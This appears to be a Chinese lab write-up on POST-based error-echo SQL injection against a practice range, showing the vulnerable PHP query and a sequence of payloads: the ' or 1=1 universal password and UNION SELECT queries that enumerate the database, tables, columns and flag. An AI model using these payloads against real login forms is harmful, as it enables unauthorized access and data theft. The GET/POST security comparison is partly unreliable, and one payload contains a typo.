SQL注入显错注入-POST
post 形式进行传参
测试点:
测试万能密码
'or 1=1 -- qwe
0x00 首先了解post传参与get传参的区别:
特性不同:
Get请求是将数据添加到URL中并传递到服务器,通常利用一个问号“?”代表URL地址的结尾与数据参数的开端。Post请求数据是放在HTTP主体中的,其组织方式不只一种,有"&"连接方式,也有分割符方式,可隐藏参数,传递大批数据,比较方便。
传输方式不同:
get方式把参数数据列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段分别对应,在URL中可以看到。post方式通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址。
服务端获取数据方式不同:
get方式是服务器端用Request.QueryString获取变量的值。post方式是务器端用Request.Form获取提交的数据。
传输数据量不同:
get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般默认为不受限制。但实际上会因为服务器的不同有所差异。
安全性不同:
由于get方式传递的参数可以在页面上看见,所以get安全性非常低。Psot方式传递的参数用户不可见,因此post安全性较高。
0x01 靶场测试
靶场环境:封神台靶场
漏洞关键代码:
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
查看代码只对'(单引号做了过滤),绕过方式 在POST数据接口 跟上 a' 即可
在登录口 输入 admin' or 1=1# 万能密码 绕过
原理 在和数据库交互的使用 'or 1=1 条件成立
从而绕过了验证机制
判断注入存在
进过测试发现存在3个字段的注入点
使用一下SQL语句查看回显点
or 1=2 因为使用了联合查询,使前面的条件出错
a'or 1=2 union select 1,2,3#
查看库名
库名为 post_error
a' or 1=2 union select 1,database(),3#
查看表
a' or 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="post_error" limit 0,1#
a ' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1#'
a' or 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
查看字段
a' union select 1,group_concat(column_name),verison from information_schema.columns where table_schema=database() and table_name="flag"#
a' union select 1,group_concat(flag),3 from flag#
原文地址:https://www.cnblogs.com/sunshinelight-sh/p/15250810.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Array - 209. Minimum Size Subarray Sum
- Array - 334. Increasing Triplet Subsequence
- Array - 123. Best Time to Buy and Sell Stock III
- Array - 122. Best Time to Buy and Sell Stock II
- Array - 121. Best Time to Buy and Sell Stock
- Array - 220. Contains Duplicate III
- Array - 219. Contains Duplicate II
- Array - 217. Contains Duplicate
- Array - 299. Bulls and Cows
- Array - 189. Rotate Array
- Array - 277 Find the Celebrity
- Array - 80. Remove Duplicates from Sorted Array II
- Array - 508. Wiggle Sort
- Array - 376. Wiggle Subsequence
- Array - 283. Move Zeroes